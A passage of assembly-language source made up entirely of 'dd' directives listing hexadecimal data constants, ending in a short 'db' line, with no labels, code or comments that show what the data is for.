0E5D0DFFBh, 37003959h dd 656D8E52h, 0C310BAh, 27864885h, 943DA068h, 3200EFF4h dd 0AB22CB72h, 5C2C1F9h, 53827B2Dh, 0F49C80BCh, 9900252Eh dd 0DB5A9BA6h, 0C8279Ch, 0C70EB892h, 83C16596h, 45D57A00h dd 3D97B50Dh, 0B42D0039h, 0AC512E54h, 0E000BAE5h, 0C3B9927Fh dd 7A6C3647h, 15D30124h, 0A0FFA6CBh, 0E74ED09Eh, 1B3F7F0Ah dd 82009883h, 0F4E2D38Ch, 5A140041h, 0E5E334FAh, 0C500836Fh dd 0DBDEB888h, 0D83D73h, 2F890561h, 6475D2F8h, 72A2782Eh dd 0A4A8EC1Fh, 26F32D00h dd 0C02A0C9Bh, 1C160E4Dh, 0E143AD3Dh, 0C1E88017h, 21001561h dd 0D1F64B51h, 9C25E7h, 0A9D453F2h, 4A35598Dh, 19829700h dd 52E0C931h, 0F5160FDFh, 0A58112CDh, 0D8982711h, 63006530h dd 0F8791ECh, 782FAh, 0BA51B3CEh, 3CC916E4h, 0C8186160h dd 7DAA3985h, 0B37CBBh, 688727A7h, 0E6A3142Bh, 81D21605h dd 80BECCA2h, 24AC94EFh, 14F3D58h, 7648B69Fh, 0EBE0E1EDh dd 9355247Ch, 0CAD4012Ch, 836CD399h, 713C9F11h, 0F15C04FFh dd 0D177A941h, 20971EFCh, 0C700E428h, 0A43A86AFh, 3FF98ED1h dd 40842D38h, 0C0970CE7h, 0ADE5E2FCh, 3AD43607h, 2BC043D0h dd 7F4B84CEh, 73BB0039h, 7F7B12C1h, 65008B81h, 97588C7h dd 0C0A98Dh, 0DE6CF022h, 98E97DA1h, 282D5700h, 0FA1D8AF9h dd 13C7CD8h, 0CF687434h, 0E418D1E6h, 7E0066F6h, 9CC27959h dd 1C9AECAEh, 9A6A7A8h, 308E93BBh, 512A280h, 3A01C11Fh dd 0EE88F59Ah, 0E2E852FEh, 0B7EB00A0h, 9C2DD2BFh, 44E624A1h dd 4E129579h, 0D1008E22h, 0B9F5A76Ch, 840E1467h, 8B00CDE6h dd 0D7D3E1ECh, 1612F269h, 9800553Fh, 18E057AAh, 0C09E0035h dd 9DCB0A76h, 546B7052h, 8F9D0720h, 60340FB2h, 1CD948h dd 0B53E15CEh, 955A0765h, 1F0C090Ch, 3E8B3052h, 0DA80F9B7h dd 8EA6EC4h, 0A800B8D8h, 0AC61FCE3h, 1EA610B1h, 40310201h dd 62F21A24h, 0B6F46A41h, 0F4AC3B51h, 73006BD1h, 1B4A2DC5h dd 729B8h, 23B3841Ch, 0D10D1A51h, 0BB01F60Eh, 0BDA8016h dd 0A9EC7Dh, 781C9055h, 797384FDh, 0CC2D882Ch, 918E1A00h dd 314765h, 0D0EFAFC6h, 48E55835h, 653C00Fh, 0B35720CCh dd 12A15DECh, 40398FFCh, 213D64ACh, 803AD7D5h, 1081808Eh dd 18EECF4Bh, 559E00C7h, 7A043A87h, 0FC0FEFCBh, 16886EFDh dd 0DECA400h, 3165B3h, 1130DC5Bh, 4651A4FAh, 9D00C891h dd 17105AF3h, 0B09862h, 419E7DECh, 0B580EB77h, 5EBF4800h dd 174DAA99h, 1DC87A38h, 0DF573CF1h, 7600BD34h, 0E9243327h dd 0CCE9BA7Fh, 0D20FB158h, 7F49CD31h, 0C116817Fh, 6BCF844Ah dd 465EEDCh, 22111C14h, 3EA88050h, 5C0B9C75h, 20D90B08h dd 0FC7C651Ch, 0C1EABEh, 4157383Ch, 931AF1DAh, 5BB2F400h dd 0BC91D858h, 0D98E0071h, 3D385EB6h, 631C3913h, 0EC80FEF4h dd 7C2F7A79h, 7EA40005h, 72476A37h, 0C7302738h, 0FC0F11E2h dd 785D008Eh, 71642946h, 2C015CD1h, 70A408D9h, 2B20DAD6h dd 255605C6h, 0C07DB6DDh, 0D3EF9C54h, 0DE743300h, 1D1492A0h dd 0A66B0FDCh, 0B8E0A13Ch, 670AA9Fh, 748EF00h, 8F67FF97h dd 263B3F13h, 6A019D80h, 0CE3566F7h, 704F410Ah, 8B138895h dd 91F57E03h, 37C4D0F0h, 0D74D00B0h, 310DEEBDh, 0AE0CF761h dd 30C85E99h, 131902C7h, 33E41B7Ah, 69A9A0C0h, 0EDAB6E00h dd 0FCB03893h, 0C6B50F3Bh, 40FED4CAh, 0D588E12Bh, 1D006248h dd 944CA969h, 7D169612h, 0FEBF00F0h, 9724F159h, 8D001178h dd 42AFDED9h, 0E0B5E51Eh, 0AAFC3E49h, 37B27F80h, 7C1B56F7h dd 80D4AC3Dh, 0E60658FFh, 0B01E40DDh, 5490CFh, 0AE3D04DFh dd 2ECE5A7Fh, 0DB8F0200h, 8C6EE82Ch, 0CF5003C2h, 0A8271367h dd 0F1032000h, 9A68F0Ah, 94CC0029h, 40182D5Dh, 0AC013770h dd 0ECA81FABh, 6030D244h, 0D05100F3h, 247282DBh, 191DBFBEh dd 0CFC3123Ah, 0E3F299h, 1EA0B790h, 577C0DFDh, 0AE07C773h dd 0FBAB5FB4h, 0CC4B0350h, 59953FC4h, 0F962E13h, 43E09A60h dd 5245AFB5h, 0CA0044B2h, 0DBAE28A9h, 1075D0h, 0C6897266h dd 83B0D65Fh, 0BCA49800h, 0CC7FE87Ch, 9DA20C67h, 0F8DC9CE4h dd 2B619404h, 5B809BACh, 3DBA81A7h, 8F033B36h, 86C82962h dd 0CF48E9E0h, 19490E3Bh, 0C9D09721h, 28BBF4h, 60089B83h dd 6A3EC0AFh, 6EA26100h, 0CFBA2253h, 0AAF8FFh, 8477CF5h dd 3CFBBFA1h, 5F043176h, 3509D88Ch, 0DD1E1480h, 0C66D00ECh dd 4886E3B9h, 7C00F465h, 0DF174CA8h, 456B9Ch, 9B352D74h dd 0B90712EAh, 0E643009h, 52B002E1h, 2990E01Ch, 0C51300DAh dd 309958D2h, 0BEFE246Fh, 0C0DC354Ch, 0F1A9962Dh, 36E82473h dd 0A13903C0h, 0B59B2850h, 0E480BCCAh, 63959F1Ch, 0F8B4B450h dd 7DD8FD00h, 90F56A7Fh, 16AA0103h, 95532CEDh, 153C30D4h dd 6D1D0E16h, 40F29C4Fh, 19CB9814h, 207C00D2h, 0DB257571h dd 600AC6Bh, 0AD93F83Bh, 18DAA4B1h, 20CCDEDFh, 4D7B555Eh dd 794AFA01h, 2F060B9Ch, 2C7213C4h, 0E857876h, 0D76CF7h dd 0A67AAD80h, 0A5014518h, 8A97CC42h, 7FE822A7h, 1D010094h dd 0B88BE043h, 640FCBEFh, 60A56750h, 2854D563h, 0FADE7E36h dd 0AF030214h, 536A40B2h, 93B07501h, 0ED8F4C28h, 707C1223h dd 0BC3838BEh, 0DF04001Bh, 82206D3Bh, 313F002Ch, 0D8BBCF4Eh dd 0C58B2F0h, 81452800h, 1B240502h, 0E18DC3E2h, 0E0DB6844h dd 7EB891h, 2B1F7BCBh, 42F2256Ah, 0C8937F31h, 3C20F14Ah dd 0E2B20A0Dh, 8D0F6Dh, 0C1892B37h, 6603C7E3h, 12D85CE0h dd 3CBAB851h, 30587730h, 8628B62Eh, 0D7037F04h, 0FECAAD18h dd 9EC3D021h, 0AA750F0Bh, 38D822D8h, 7DEA73BFh, 2B984700h dd 4B3B84Eh, 1E830408h, 8332CC12h, 48F82A54h, 0EA001D49h dd 0B964E2EEh, 45DA90h, 0DB3BB1E8h, 6E17962Fh, 0F77581Ch dd 94A3B5CAh, 0AB4D17h, 85387FE7h, 0F60445EBh, 592CE11Ch dd 40AB5481h, 0FA17AECh, 0C87290F3h, 0BCD3A0C0h, 6501CBBEh dd 0B9668754h, 8871E84Bh, 0AE1BF8h, 468A5388h, 9F3B7530h dd 85EA213Eh, 32556343h, 0C6EFC442h, 0F46F010Dh, 0C31C34B9h dd 0BDD41500h, 0F94A649h, 0BBE90BBEh, 0CD00F132h, 0FFBCA0FBh dd 41F5170Eh, 5CC920B1h, 3CBB68h, 0B2671CAFh, 0CD2D489Bh dd 1347EF00h, 5B6D64E0h, 8A8E0555h, 0C0D8F44Dh, 2BBB1CC7h dd 1B98B77Ah, 74403D00h, 252C444h, 0E6EF1CD6h, 0A038D85Dh dd 5500B188h, 285F3DF1h, 6E1C96h, 0A624D83h, 8141C32Ah dd 0DCE6DF0Bh, 0F480FF38h, 330253E9h, 1094D325h, 0F20445D4h dd 0A4671770h, 331401C8h, 1CA38EF0h, 1D650B71h, 0B180E8D8h dd 2605130Eh, 72C93203h, 0BE9A5192h, 0A6161F28h, 7F2D2B7h dd 3136E65Ch, 0D4F6DAB3h, 0E300A233h, 0C24D809h, 615FB57Dh dd 0C660D141h, 0C3BFC17Eh, 0DD126DC0h, 80D67524h, 5A1FF783h dd 2361C820h, 2CD0006Ch, 66570DF8h, 8B024781h, 0C7624085h dd 0DA8C405Dh, 0B116007Ah, 0A2D50294h, 2B3E22C2h, 9E52893Fh dd 2AF440C9h, 27A90031h, 0A6E12E3h, 3DE89972h, 0A0384400h dd 618AC253h, 85F8002Dh, 4EF16FCh, 0C70E9CB8h, 3CA8FDBh dd 0F8A1FA44h, 2BA5DC0h, 4C03A9AFh, 0D0501E68h, 41D4E300h dd 0CAE0248Ah, 49AF00EEh, 0FE988535h, 0DA00D30Eh, 0CEE773CDh dd 25C6D4Fh, 0CF4D26Fh, 3AC00A57h, 3300E8ABh, 596AACAh dd 5823F706h, 0EA007093h, 0A7E1FF5Bh, 40051456h, 2E44B54Dh dd 94A9BC41h, 0B7F4A010h, 7D8301FFh, 968CB94Ah, 0C9742132h dd 2B01C2D1h, 3170C147h, 2AC83903h, 195F8D4h, 0BD528243h dd 0DC9EA687h, 44BA304Bh, 0A0CFE02h, 0E0F455E4h, 1DD73B84h dd 8097861Dh, 487B815Eh, 1DB06A54h, 4F14E80Fh, 1185DDEAh dd 708003FAh, 0FA8DC46h, 8EF817B4h, 24096941h, 0F6742188h dd 0B9001978h, 3454E6B8h, 4CE20Ah, 0AEB26CA3h, 8ECB4F43h dd 460058EEh, 4B03AECh, 2D8095h, 0DE642BF2h, 134C9F3Ch dd 0A323B200h, 811B883Bh dd 244D779Eh, 74BB21h, 0BCEC33AFh, 0AC00B117h, 0D2F63186h dd 73A8981h, 0E73CC0CEh, 0FC00793Bh, 2932B2Ah, 0A4012E7Dh dd 64BA7FE0h, 103053FFh, 44DB60B1h, 0EA705EAh, 8156B03Ah dd 2DEC9E45h, 8F0BDFBh, 0E47000B5h, 0AD58667Eh, 0A0EB367h dd 80CDC542h, 0D244ADAh, 0FB7200D7h, 20EA5938h, 83A0A3ABh dd 9100F3D8h, 0B18E297Ah, 0B4E02379h, 0E4093BBCh, 0A000A017h dd 4E6A7CDAh, 3FFC720Fh, 479E00D4h, 273C93Bh, 38F80ABBh dd 0FE42B26Fh, 4C6C8780h, 0C774521h, 9C903DECh, 0C01F6F00h dd 362D76EBh, 480B0381h, 0E598B20Fh, 3C211BA0h, 1A00BCB0h dd 0D190D38Ch, 66EBD9h, 28F15EAEh, 8023E38Dh, 243AF703h dd 0B1C5FFA7h, 1FD00B86h, 2A770F91h, 3F2E7867h, 0C8E3ABC6h dd 0AF0CF105h, 4C8307A0h, 0D118E091h, 6D8A05F6h, 0C0BFC40Bh dd 0FBFF5FC4h, 79810491h, 65C8C929h, 0E4506BFDh, 16754307h dd 25AEE1Ch, 217469CCh, 4449300h, 0FB2600BBh, 0EF72E288h dd 0A00063F8h, 0BEDB5D0h, 131E0F62h, 40467993h, 69FEDCFCh dd 0B5057003h, 4E54CDF1h, 0DEF27CC1h, 0E456C050h, 62ED4557h dd 7DDD0400h, 70E01370h, 0EB7B099Fh, 0AC0125E2h, 0E9C3C7BEh dd 0D689DC81h, 15445Ch, 8AE737B0h, 582726h, 45F9424Ch dd 0E0E4D828h, 0E6ECDA00h, 23F21B9h, 0F7411E1Fh, 1029C3F0h dd 53C0177Dh, 7F0F8F31h, 1EB5D645h, 0B8ED61C6h, 128A4398h dd 0F04151ECh, 9AC0FBD1h, 75807C20h, 68FF3050h, 890551F9h dd 2370AA00h, 0D73A9CBh, 15A4E2Dh, 4D9CB1F0h, 0C02439BCh dd 57DD2AB0h, 50D2073Ch, 80B1B655h, 0A8D4DFBh, 12DA0600h dd 73D310C4h, 0EF32092Eh, 45007ABCh, 6D1D17B3h, 0D9003BFCh dd 0C6F3FA40h, 0BE945Bh, 803CDD0Ch, 59417D30h, 0EB070BF2h dd 0A4CF8FF9h, 95A04647h, 0A63097h, 65CA3EF3h, 7BC09A43h dd 4B2F504h, 82EBF1DBh, 40E063C5h, 4507BC42h, 4955A90Fh dd 0A5737B90h, 277B1Eh, 0BB47829Fh, 8002D6BCh, 0F4C01E0h dd 0E9007694h, 94F51976h, 0D43E61h, 0CF575E07h, 18A8A523h dd 4EF6791Fh, 0FC0501Dh, 9A4AB064h, 0ACB800C5h, 0B6ECAADFh dd 0CD0747BCh, 6C3FD9DAh, 1B448079h, 0FA9F8B1h, 41223017h dd 283DC9A2h, 0F8D16461h, 0EE007B0Ch, 0FB46ECD2h, 7287CEh dd 92305A36h, 7855D6FCh, 0B2907098h, 8BD7503h, 0EF518E58h dd 861A8101h, 94AE030h, 0E0BBD32Dh, 0C2BC4420h, 0FC2C15C1h dd 1104C473h, 3600ED40h, 3E246E72h, 446D3000h, 0D667B841h dd 0F7FFC6Fh, 726C9717h, 258203D7h, 1480CFB1h, 9F008C6Bh dd 9B9AF080h, 3FAF660Fh, 0BA808401h, 0C3608ADDh, 200FEE22h dd 80C197E1h, 137533C8h, 160416F1h, 4F4804AAh, 0CDD0E0E8h dd 0D99EFC3Ah, 2084868h, 0E09CCF1Bh, 5C9381C0h, 0EA42062Bh dd 0F5F94012h, 0D5B0030Bh, 9038310Ch, 7FAA6A00h, 9B954857h dd 513E0011h, 9AC4EBBFh, 0F20023F4h, 3D3BBEA8h, 26C5445Dh dd 0EF6F3Ch, 0B53EAD84h, 0A801878Dh, 9E9F73C8h, 79ECDD10h dd 0B8170709h, 0C0A3C46Dh, 386BA7BDh, 2700CFF4h, 35B5868Eh dd 0FF646D9h, 9EC8C389h, 56EE1D20h, 20E04E85h, 0DADEB700h dd 0A0A22C35h, 4F9600CFh, 10683195h, 8100BFF6h, 4DCB13CAh dd 0FC9358A6h, 0FF54008Bh, 0B331E033h, 24585A7Ch, 3B700EA3h dd 0C7E90Bh, 44A6F8F0h, 957300BDh, 79EAC290h, 740043E7h dd 71B34F93h, 1C1CE67h, 6CD856ACh, 87D284BDh, 657F75D8h dd 21928D90h, 8D63BD88h, 593D1000h, 0F8C202F0h, 9F911764h dd 0FF1C40A7h, 848CFA78h, 0AE79407h, 55102B7Eh, 284F9F6Dh dd 4D4BCACh, 85C6C747h, 1BFA80F1h, 4500D071h, 0BCD7700Eh dd 2E61D340h, 81149814h, 0E96AF97Ch, 2B20FC8Ah, 0E21C15F4h dd 5741ABCCh, 629DF3AFh, 4C85BC30h, 0EF01F8A3h, 0D3515B32h dd 25C7215h, 0E8E2C08Fh, 86DC600Ch, 0A52041Bh, 0D077AB3Eh dd 0BDD8570h, 6B61390Fh, 0C88B80D8h, 0C2C087Dh, 382271E9h dd 1B00ED29h, 0FF0E85ADh, 6174A725h, 968918D1h, 2014610Fh dd 0FA034488h, 0E85EC5B3h, 0A464B87Fh, 0C613009Dh, 0C0BF9598h dd 20EF71E3h, 5B006B64h, 0BB86C769h, 1E9020Bh, 113F9534h dd 800EC035h, 49D7E642h, 0AC4EB8h, 82D43D99h, 0EBC1A150h dd 0ED0F317Fh, 0A071668Ch, 0EEFFBFD5h, 273000DDh, 0E20667D0h dd 11FE1AA0h, 0B362F00h, 0B56EB685h, 0E8DF002Ah, 8793007h dd 31010D9Dh, 7A2D547Ch, 0B5C116F9h, 0F1F4EFE1h, 0FA5A268Ch dd 9ACC004Dh, 36FD5F48h, 0F9913D01h, 0DCE4468h, 0C0C2AFF1h dd 84EED8h, 7408075Eh, 0EBCF733Bh, 3BE64Eh, 0E7C12E88h dd 6834C8BAh, 1849006h, 4DDA92D8h, 0ED85CAADh, 651C3073h dd 4C81CF4Ah, 0E0317C2Bh, 901FFF4h, 0F47B36C4h, 0CA261480h dd 7986634h, 51793200h, 49F10D01h, 9AF4A91h, 0B8448790h dd 3CF7B903h, 36B392h, 51618F80h, 4503D346h, 35BBD000h dd 2C49A0F0h, 0A37E04A1h, 80F6E06Ah, 9C959694h, 0EDDBE703h dd 0D06C103Fh, 2C8520EBh, 1C04A2D1h, 0A344258h, 98C02EC7h dd 6F3FB323h, 6AF05047h, 9ABA5E00h, 7D790E66h, 0A8D800F4h dd 0C6F86E5Dh, 7339FABCh, 0D20C00B1h, 9EDC5B04h, 0C8072C18h dd 50F4008Ah, 6808326Fh, 0A72844E8h, 5200D8A1h, 0DA36B0E3h dd 3B1AC715h, 739CBE8Fh, 6EB940EFh, 88D9B7C3h, 0FD00DF98h dd 0CD8D46D7h, 0A3C829h, 0F73F4F9Ah, 1A12119Eh, 0AE14BE76h dd 9D8B03Dh, 20C7A683h, 5C66F1C8h, 0B80095ECh, 0F5EADF9Eh dd 0E109ACA1h, 4AF8342Fh, 0ED03F598h, 4C054341h, 4245D05Dh dd 71A1E21Ch, 0A4B001EBh, 8EFF8806h, 14C4207Fh, 2CAF3305h dd 16C042C2h, 245F150Eh, 0E5C2B3Ah, 0DD20FE28h, 0D3503C55h dd 6354B10Fh, 54B0B3EEh, 1B2F000Bh, 3553C62Ah, 0F31F8074h dd 0D0C06A7Dh, 12C9069Eh, 0B0DFE048h, 0EA5E0008h, 0F3DAC8D7h dd 0AA5CF9A1h, 0A47C7A59h, 0B001E7Fh, 99758B71h, 0D2686Eh dd 3657B4ADh, 4927A8A9h, 5A0A6A1Fh, 0C491754Fh, 17C0AC12h dd 0A4659Dh, 86ED7DBEh, 148F3EFAh, 5953F300h, 4BB78D7Bh dd 0DDC20109h, 10AB69Fh, 74428E2h, 0AA6D87F4h, 6379C840h dd 75C003D4h, 1DBC3A4Dh, 0F8828AC1h, 50FC8F15h, 1F562109h dd 240C0032h, 9F7F39Dh, 60957DDFh, 0B785A4E8h, 0A6CC6F12h dd 492090C7h, 25E23EB2h, 0FCC096F9h, 0D89C3820h, 0F751003Ch dd 0EF2BEB76h, 0A9541774h, 0AEE005ECh, 0C32CC75Dh, 34F27707h dd 80F1F870h, 6BC87030h, 0BE0A049h, 24802E85h, 66558900h dd 0D50B11DBh, 8EE983A3h, 0F67EC136h, 0CF82378h, 6BEC3FA1h dd 0AF520AF1h, 84678Ch, 3C8562D5h, 0EC36D90Ch, 2A12021h dd 0E876EFA9h, 6080CCE3h, 4B9CD1BEh, 0DC146A55h, 0E5038F8Bh dd 68F358A9h, 0BCA888F7h, 4FF60916h, 3700A5D9h, 7CF97935h dd 0C30061ECh, 0E95C9505h, 0E0AC974h, 342DAABBh, 1FC6B440h dd 179888AEh, 0E72E2F78h, 0C407339Fh, 1E4F8DEDh, 7290E940h dd 9E3BABh, 0D92895B6h, 880996E3h, 9403EF70h, 0B848A915h dd 7AB4C046h, 0A07039F7h, 96C7F387h, 0D53C70F1h, 4009CADh dd 0A72F5E9Ah, 26EE8214h, 5BB8A5h, 3CA4268Ah, 41587417h dd 0B93AFAh, 0B24081F3h, 0E360239Dh, 27E0D8h, 0A7787196h dd 2FD752BEh, 98885398h, 6500721Bh, 9CB9B326h, 7423200Ch dd 0C3734B89h, 65A82C00h, 483F761Fh, 0BA33017Bh, 0D9261B58h dd 0A0E77B31h, 9CC9BED1h dd 1C288060h, 91EBABD3h, 79C73019h, 1E25020h, 4810D755h dd 6504DF40h, 8921B24Bh, 0E438FB2Ch, 0FD5BE65h, 61B3DA83h dd 0D927E62Ch, 820760BAh, 0A8B8BED0h, 0DC601544h, 0B2295465h dd 791170E9h, 65E52A01h, 0D8467CCEh, 9C603F8Eh, 1B50BF50h dd 4C68DCB9h, 0A8312084h, 9045814h, 54A92680h, 0B3E0603Eh dd 0CE126748h, 4C1EF218h, 6D29CCB0h, 91D5C300h, 0CD4004C1h dd 2D78B3h, 27413D2Ah, 6EF4A454h, 56B06900h, 3C1CC8E8h dd 2D52F681h, 1CD06BA1h, 434AEF07h, 71A07889h, 54C160Dh dd 0B052E0CAh, 0E0B2C71Fh, 30C9440Fh, 82F2EA00h, 95F63EDAh dd 5A0B008Bh, 0A1B7674Ah, 0B8006936h, 42E0AC10h, 2612632Ah dd 13D613h, 0C19411B7h, 2678B63Dh, 50392200h, 0EA62875h dd 0BBE6005Bh, 58F5C4FBh, 0C9003A78h, 0E4B734A4h, 0D5A1E1h dd 6571BC68h, 84351290h, 0B3C2F100h, 85CF1B53h, 1E9805FAh dd 0C08CBC18h, 0F8132F42h, 8624C5F0h, 47001933h, 91080F9Ch dd 0B24F0E09h, 0E662A7E4h, 2560018Eh, 0CB07EA45h, 2593E541h dd 0DD92E480h, 122D00D3h, 0B35B9DF4h, 0AD07221Dh, 0CB361B08h dd 0FC56F780h, 0F69B01A3h, 1153EA4Ah, 16D09426h, 0C3B8AB04h dd 0D82F4B01h, 14D0F622h, 19B0304Bh, 0F7CD7D3h, 0EA72FBFCh dd 0D9FF2400h, 1DED3FF7h, 0D3220028h, 0DC461EFDh, 7918E4F2h dd 4D2994A6h, 342288FEh, 88DE9A88h, 7189970Dh, 7E456108h dd 3710DDD1h, 0A581F420h, 235022D2h, 0C4233224h, 4EC948B4h dd 56907F68h, 904FB088h, 4A6A1984h, 451F642Ah, 856129B2h dd 2808E778h, 4FD4428Eh, 0F59522h, 9015135Ch, 9B864Ch dd 5E33A544h, 54E2B9h, 186ACD89h, 1DADC6C8h, 0DE56C500h dd 4A840426h, 0B20D0065h, 0FDA15A40h, 73008B92h, 0ACB03749h dd 147EE18h, 0DBAF44C7h, 601F4D09h, 0D7006FA6h, 0D8851942h dd 1F9CE5Fh, 39F0E091h, 80BA532Ah, 552E1D72h, 469E92h dd 7A0F03DEh, 58915060h, 0C0177B00h, 675DB382h, 4C630043h dd 7D02B740h, 6C01DE75h, 71CC1C55h, 0C24F676h, 2A0A006Bh dd 0C57B08CDh, 13004B5Bh, 7A859888h, 7D4A3Ch, 0B1F6D872h dd 0E6B3D55h, 8A776801h, 0A5085E1Fh, 90A46EDCh, 0B026002Ch dd 541BE263h, 0FA00EBBFh, 0EC0A24Ah, 0C55717h, 68CBD8C1h dd 90C74256h, 948A5200h, 0B31C767Ch, 0AF0EC011h, 0C78F946h dd 9D5FA800h, 2308D9ADh, 742100D1h, 65D7E3Eh, 0EFE21E6Fh dd 0BC5BE907h, 0FCE0A884h, 189F74Fh, 5E8057A1h, 0E0B59495h dd 0B61306C9h, 0A0AE327Ah, 2C0051F5h, 4B29D084h, 0FA19578h dd 3E8E7C0Ch, 0D2B2C000h, 0AA008036h, 0B4C24EF4h, 166FB49h dd 0CE3E2E62h, 0CC54F796h, 38F44142h, 0AA077FFAh, 7CBB84F1h dd 0A4407BE1h, 0C2703EF3h, 31A6E180h, 0A997106Ah, 80E4439Fh dd 2FD70h, 7B91F4DDh, 91BC2B8h, 113C2200h, 886D15EDh, 0AA5500F6h dd 0D9313A59h, 300F45Eh, 2C0EA2E9h, 49C34Eh, 307C25DBh dd 9248B7D7h, 0FDCB1800h, 0CCAE4B6Dh, 0D5E011Eh, 21A94628h dd 0FEF847F4h, 715827C1h, 0D4EDEDF7h, 6777E6DDh, 542BAD00h dd 0A928ED5h, 90751F12h, 0EF7043CAh, 15F8A31Dh, 7B00304Bh dd 0D53A8409h, 247CF614h, 368948Bh, 0C310AEAFh, 61714BF8h dd 20C0D4A0h, 720091E4h, 6A4CDCD1h, 7AB077Bh, 1AC3DD93h dd 956440AEh, 0F91C99B5h, 0E740A4D8h, 149771F8h, 0F884547Dh dd 380F0E62h, 3A20BE23h, 0B510F34Bh, 5A00C2FCh, 9BDB0893h dd 0F8239503h, 0FFA200B0h, 58348890h, 0D600545Bh, 0C58A935Eh dd 1CB9170h, 0B8F64569h, 80980A46h, 0F97CE064h, 2A4DCAEh dd 0BA3726BBh, 6760CFE6h, 949051C2h, 868CD300h, 7239C4C7h dd 0C3DC0103h, 7B389AA9h, 8017F5BBh, 0C7E521D9h, 3EAE7EF3h dd 32800EFEh, 2E263470h, 15001CE1h, 3D61D2C2h, 0C0B59Ah dd 4D1264E3h, 3FC4A503h, 77AA6C00h, 0FA6AD759h, 63B00D2h dd 6B81F3ACh, 0F3A0279h, 0C8FD9ED9h, 1A7282C0h, 0CEFC48h dd 0EFB39722h, 80CB60E7h, 8712B200h, 38B6F25Fh, 231E2CEh dd 9D09623Fh, 6C6044C3h, 0D1008677h, 0C2D9C06Eh, 1D89D6A0h dd 0C04216F7h, 12CC262Fh, 744C18E1h, 28410041h, 0F3837D84h dd 9C6D006Eh, 0CA992EB1h, 35008C98h, 0D90A5157h, 487705F0h dd 5500523Dh, 9E8F79B2h, 0FE005ADFh, 6684A16h, 0FA5CA048h dd 577E0A80h, 1F475AFh, 2A347FCFh, 96E88E6Dh, 7AC0BFB6h dd 644939Dh, 0A3820054h, 0ACF0DBA1h, 790398FCh, 6A7F8714h dd 0A11FCB52h, 9040EB62h, 954181h, 0A777653Bh, 6D8F72B5h dd 3200F1FEh, 86B12729h, 0FA9A396h, 0BA38A8D7h, 99FD74C0h dd 0A4005D5Ah, 68D027A5h, 94C585h, 7F83CB2Fh, 8A79FBD8h dd 8EE60600h, 3399B36Ah, 0C4EC2471h, 8D318014h, 6CACCDDFh dd 0DD248604h, 88906580h, 1F6AEA82h, 5B419Dh, 248DE3D6h dd 0DB0973CAh, 80209BC5h, 0D4B952B8h, 29F52010h, 0EB00C877h dd 0DEA2BB71h, 602BDE1h, 94ECF84Eh, 4400A019h, 0FAC32FD6h dd 18397C20h, 91E39C71h, 0F0009A1h, 135B25C2h, 0DD1012h dd 871C44D5h, 3099929Eh, 0B577EB00h, 0EA57E00Ah, 355A4C09h dd 8AD1A700h, 7F89DFFCh, 300B9105h, 3080C1A9h, 1095A892h dd 60434031h, 9F3C5A6Ah, 30B01Fh, 0BEFD363Eh, 1AC59C3Bh dd 0AC858239h, 0E98114CDh, 0E2CAE710h, 0A5ECA7C9h, 1B5300E5h dd 681C039h, 0C49DC09h, 286001A8h, 5841E050h, 0B0D56695h dd 4D51AD00h, 6449CA3Ah, 7A13988h, 54465E66h, 959CF0F4h dd 0E70C2378h, 50A58873h, 556D3AFCh, 19AB700h, 367C543Bh dd 2F07DE0h, 81581348h, 354D3243h, 4C1B421h, 9874ABC4h dd 957900B8h, 6D53E382h, 6F26D3FCh, 8503DF4Fh, 888EA0A9h dd 8FC087h, 0DF087337h, 0B09BAE8Ah, 0E876D700h, 14B14DACh dd 54290F0Eh, 0E9239C99h, 35D0DB22h, 72772C1Ah, 0F08C9604h dd 1C0601Bh, 3B3CA953h, 3E85D0EEh, 36125Bh, 0F122FCA4h dd 1D02A585h, 9499C435h, 0FE0660DEh, 0A379001Bh, 88B8283Eh dd 440003BCh, 206E9BC0h, 0FAABC634h, 0FBE500F3h, 0D125BDE9h dd 9006FCAh, 0D8066B40h, 97EF2B1h, 7315655Ah, 0A41C1181h dd 0E7B4408Eh, 0B6005EA2h, 513A2DACh, 12942Bh, 8F1F9573h dd 0CA2F4401h, 36DFBA00h, 2302FE86h, 15B04Bh, 525116CCh dd 4904337h, 0B748B100h, 0BA4F9666h, 39D60038h, 0F20E8718h dd 8201503Ch, 7C1FAD32h, 0F4E4F156h, 2E547C36h, 0C1E08A4h dd 7A19D410h, 257EA501h, 0AAD6EA4Ch, 935230h, 52C5ABB8h dd 0B0B2141Ch, 0F900E27Ah, 2B4AD3C1h, 902A0F13h, 19821DEEh dd 0B2EC80D2h, 0E7750C6Bh, 8010C23Bh, 0F25D2F5Ah, 3F3EC7h dd 0CA98D691h, 7AA89BE5h, 85510500h, 7C9DFE9Fh, 37141DDCh dd 0CE9F393Ch, 8A6F8E42h, 0C6480B40h, 693975EAh, 0BB7F0496h dd 68806D21h, 0FA1D166h, 958049B1h, 4E418B20h, 0DC03C433h dd 0D4B54F1Dh, 0DFF6D8D6h, 5838F0D1h, 93024FEAh, 0C094782Bh dd 1D417240h, 0A34DD900h, 489F506Dh, 0C6AD39F1h, 9390F7h dd 805AA281h, 1E99BBDFh, 0B58E0807h, 4AA0A38Ch, 62E1EEh dd 7E3794DAh, 216105D8h, 87345500h, 0C0E07966h, 0ACAB1C70h dd 0AB2EADh, 3BA99F16h, 8A00EEB6h, 0CC409E67h, 77C22DDh dd 1FA0EC0Ch, 3CDEC01Ah, 76B88C06h, 72CC4800h, 5D87201Dh dd 17BE0E19h, 0DE40118Bh, 96133458h, 0AE9C5Ch, 2AB29E23h dd 0C813C5Fh dd 0A2B80EDCh, 0C6004E10h, 253F8EEDh, 14552Fh, 0A90278ABh dd 6ABC865Eh, 0DD083003h, 0B01EB9C7h, 1D46A181h, 40437275h dd 0ACBFE4D7h, 170022F4h, 0CE80C983h, 70629EEFh, 2A2C3FDEh dd 0F7D19A00h, 95B1D35Bh, 0A8B51E17h, 0AF57CB0Fh, 51F6066h dd 70F13844h, 0C2C0005Ch, 657A187Bh, 87F43AC1h, 0C9786F00h dd 0AE58D139h, 8AFA6Eh, 0D90CF146h, 16981CA4h, 0E4517F12h dd 12952501h, 0D0D88F5Ch, 0CE4B0040h, 38102589h, 1800028Ah dd 91E5A136h, 7958E26Ch, 1F5700D8h, 5E2A210Bh, 0FCE163EBh dd 0AE00394Eh, 0DA031226h, 0D855E8h, 292D2F58h, 737BD7DFh dd 1F5D1600h, 0F187FF38h, 0EAA2000Eh, 0F9329AAh, 0D5002C12h dd 13CBA63Ch, 0B6A5FCh, 7B7666B4h, 5D25BE46h, 50876A00h dd 7D621407h, 2677DBh, 719E44D2h, 9C08B41h, 23D9B80Fh dd 0D30EB284h db 0DAh, 40h 